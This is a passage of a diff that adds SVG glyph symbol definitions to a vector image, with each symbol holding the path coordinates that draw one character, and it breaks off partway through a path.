+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 5.21875 -7.09375 L 9.140625 -7.09375 L 9.140625 -0.828125 C 8.765625 -0.484375 8.28125 -0.21875 7.6875 -0.03125 C 7.09375 0.15625 6.488281 0.25 5.875 0.25 C 5.113281 0.25 4.425781 0.109375 3.8125 -0.171875 C 3.195312 -0.460938 2.671875 -0.910156 2.234375 -1.515625 C 1.796875 -2.117188 1.457031 -2.878906 1.21875 -3.796875 C 0.988281 -4.722656 0.875 -5.828125 0.875 -7.109375 C 0.875 -8.441406 1.015625 -9.570312 1.296875 -10.5 C 1.585938 -11.425781 1.972656 -12.179688 2.453125 -12.765625 C 2.929688 -13.359375 3.476562 -13.789062 4.09375 -14.0625 C 4.707031 -14.332031 5.34375 -14.46875 6 -14.46875 C 6.644531 -14.46875 7.1875 -14.421875 7.625 -14.328125 C 8.070312 -14.242188 8.453125 -14.128906 8.765625 -13.984375 L 8.390625 -12.609375 C 8.117188 -12.753906 7.796875 -12.867188 7.421875 -12.953125 C 7.054688 -13.035156 6.628906 -13.078125 6.140625 -13.078125 C 5.660156 -13.078125 5.203125 -12.972656 4.765625 -12.765625 C 4.335938 -12.566406 3.953125 -12.234375 3.609375 -11.765625 C 3.265625 -11.296875 2.988281 -10.679688 2.78125 -9.921875 C 2.582031 -9.160156 2.484375 -8.222656 2.484375 -7.109375 C 2.484375 -5.078125 2.800781 -3.578125 3.4375 -2.609375 C 4.082031 -1.640625 4.96875 -1.15625 6.09375 -1.15625 C 6.800781 -1.15625 7.382812 -1.328125 7.84375 -1.671875 L 7.84375 -5.8125 L 5.21875 -6.203125 Z M 5.21875 -7.09375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 5.40625 -14.46875 L 6.546875 -14.03125 L 0.609375 2.84375 L -0.5625 2.421875 Z M 5.40625 -14.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.90625 -1.359375 L 4.203125 -1.359375 L 4.203125 -11.265625 L 4.390625 -12.46875 L 3.703125 -11.484375 L 1.984375 -10.109375 L 1.21875 -11.015625 L 4.921875 -14.46875 L 5.671875 -14.46875 L 5.671875 -1.359375 L 7.890625 -1.359375 L 7.890625 0 L 1.90625 0 Z M 1.90625 -1.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 0.796875 -0.921875 C 0.796875 -1.296875 0.882812 -1.578125 1.0625 -1.765625 C 1.25 -1.953125 1.5 -2.046875 1.8125 -2.046875 C 2.125 -2.046875 2.367188 -1.953125 2.546875 -1.765625 C 2.734375 -1.578125 2.828125 -1.296875 2.828125 -0.921875 C 2.828125 -0.523438 2.734375 -0.226562 2.546875 -0.03125 C 2.367188 0.15625 2.125 0.25 1.8125 0.25 C 1.5 0.25 1.25 0.15625 1.0625 -0.03125 C 0.882812 -0.226562 0.796875 -0.523438 0.796875 -0.921875 Z M 0.796875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-29">
+<path style="stroke:none;" d="M 0.734375 -6.203125 L 0.734375 -6.796875 L 6.828125 -11.328125 L 7.625 -10.21875 L 3.734375 -7.28125 L 2.234375 -6.5 L 3.71875 -5.859375 L 7.703125 -2.921875 L 6.9375 -1.828125 Z M 0.734375 -6.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-30">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-31">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-32">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-33">
+<path style="stroke:none;" d="M 7.703125 -7 L 7.703125 -6.40625 L 1.640625 -1.875 L 0.8125 -2.953125 L 4.71875 -5.890625 L 6.203125 -6.671875 L 4.734375 -7.3125 L 0.734375 -10.25 L 1.546875 -11.328125 Z M 7.703125 -7 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-34">
+<path style="stroke:none;" d="M 1.53125 -0.875 C 1.53125 -1.207031 1.628906 -1.472656 1.828125 -1.671875 C 2.023438 -1.878906 2.273438 -1.984375 2.578125 -1.984375 C 2.929688 -1.984375 3.21875 -1.84375 3.4375 -1.5625 C 3.664062 -1.28125 3.78125 -0.832031 3.78125 -0.21875 C 3.78125 0.226562 3.722656 0.628906 3.609375 0.984375 C 3.492188 1.347656 3.34375 1.664062 3.15625 1.9375 C 2.976562 2.207031 2.78125 2.425781 2.5625 2.59375 C 2.34375 2.769531 2.132812 2.898438 1.9375 2.984375 L 1.421875 2.296875 C 1.597656 2.203125 1.765625 2.078125 1.921875 1.921875 C 2.078125 1.765625 2.207031 1.59375 2.3125 1.40625 C 2.414062 1.21875 2.492188 1.015625 2.546875 0.796875 C 2.597656 0.585938 2.625 0.382812 2.625 0.1875 C 2.351562 0.269531 2.101562 0.210938 1.875 0.015625 C 1.644531 -0.171875 1.53125 -0.46875 1.53125 -0.875 Z M 1.734375 -9.109375 C 1.734375 -9.484375 1.820312 -9.765625 2 -9.953125 C 2.1875 -10.140625 2.4375 -10.234375 2.75 -10.234375 C 3.0625 -10.234375 3.304688 -10.140625 3.484375 -9.953125 C 3.671875 -9.765625 3.765625 -9.484375 3.765625 -9.109375 C 3.765625 -8.710938 3.671875 -8.414062 3.484375 -8.21875 C 3.304688 -8.03125 3.0625 -7.9375 2.75 -7.9375 C 2.4375 -7.9375 2.1875 -8.03125 2 -8.21875 C 1.820312 -8.414062 1.734375 -8.710938 1.734375 -9.109375 Z M 1.734375 -9.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-35">
+<path style="stroke:none;" d="M 0.71875 -9.265625 L 7.703125 -9.265625 L 7.703125 -7.90625 L 0.71875 -7.90625 Z M 0.71875 -5.90625 L 7.703125 -5.90625 L 7.703125 -4.546875 L 0.71875 -4.546875 Z M 0.71875 -5.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-36">
+<path style="stroke:none;" d="M 3.609375 -14.234375 L 5 -14.234375 L 4.484375 -10.3125 L 3.609375 -10.3125 Z M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-37">
+<path style="stroke:none;" d="M 2.171875 -2.3125 C 2.171875 -3.007812 2.054688 -3.484375 1.828125 -3.734375 C 1.609375 -3.992188 1.289062 -4.125 0.875 -4.125 L 0.875 -5.453125 C 1.289062 -5.453125 1.609375 -5.585938 1.828125 -5.859375 C 2.054688 -6.128906 2.171875 -6.5625 2.171875 -7.15625 L 2.171875 -12.171875 C 2.171875 -12.804688 2.296875 -13.3125 2.546875 -13.6875 C 2.796875 -14.0625 3.207031 -14.25 3.78125 -14.25 L 5.28125 -14.25 L 5.28125 -12.921875 L 4.5 -12.921875 C 4.1875 -12.921875 3.960938 -12.835938 3.828125 -12.671875 C 3.703125 -12.503906 3.640625 -12.203125 3.640625 -11.765625 L 3.640625 -6.8125 C 3.640625 -6.21875 3.523438 -5.765625 3.296875 -5.453125 C 3.078125 -5.140625 2.8125 -4.945312 2.5 -4.875 L 2.5 -4.75 C 2.8125 -4.695312 3.078125 -4.488281 3.296875 -4.125 C 3.523438 -3.769531 3.640625 -3.3125 3.640625 -2.75 L 3.640625 2.203125 C 3.640625 2.617188 3.703125 2.914062 3.828125 3.09375 C 3.960938 3.269531 4.191406 3.359375 4.515625 3.359375 L 5.28125 3.359375 L 5.28125 4.671875 L 3.78125 4.671875 C 2.707031 4.671875 2.171875 3.988281 2.171875 2.625 Z M 2.171875 -2.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-38">
+<path style="stroke:none;" d="M 11.484375 -9.984375 L 12.15625 -9.984375 L 11.328125 -4.0625 C 11.203125 -3.15625 11.160156 -2.476562 11.203125 -2.03125 C 11.253906 -1.59375 11.457031 -1.375 11.8125 -1.375 C 12.164062 -1.375 12.515625 -1.488281 12.859375 -1.71875 C 13.210938 -1.957031 13.53125 -2.300781 13.8125 -2.75 C 14.09375 -3.195312 14.316406 -3.742188 14.484375 -4.390625 C 14.648438 -5.035156 14.734375 -5.78125 14.734375 -6.625 C 14.734375 -7.582031 14.59375 -8.425781 14.3125 -9.15625 C 14.039062 -9.882812 13.65625 -10.488281 13.15625 -10.96875 C 12.664062 -11.457031 12.066406 -11.828125 11.359375 -12.078125 C 10.660156 -12.335938 9.882812 -12.46875 9.03125 -12.46875 C 8.144531 -12.46875 7.316406 -12.285156 6.546875 -11.921875 C 5.773438 -11.566406 5.101562 -11.054688 4.53125 -10.390625 C 3.957031 -9.722656 3.503906 -8.925781 3.171875 -8 C 2.847656 -7.082031 2.6875 -6.054688 2.6875 -4.921875 C 2.6875 -3.742188 2.835938 -2.71875 3.140625 -1.84375 C 3.441406 -0.976562 3.867188 -0.253906 4.421875 0.328125 C 4.984375 0.910156 5.644531 1.34375 6.40625 1.625 C 7.164062 1.90625 8.003906 2.046875 8.921875 2.046875 C 9.242188 2.046875 9.617188 2.003906 10.046875 1.921875 C 10.472656 1.847656 10.84375 1.726562 11.15625 1.5625 L 11.53125 2.703125 C 11.0625 2.921875 10.597656 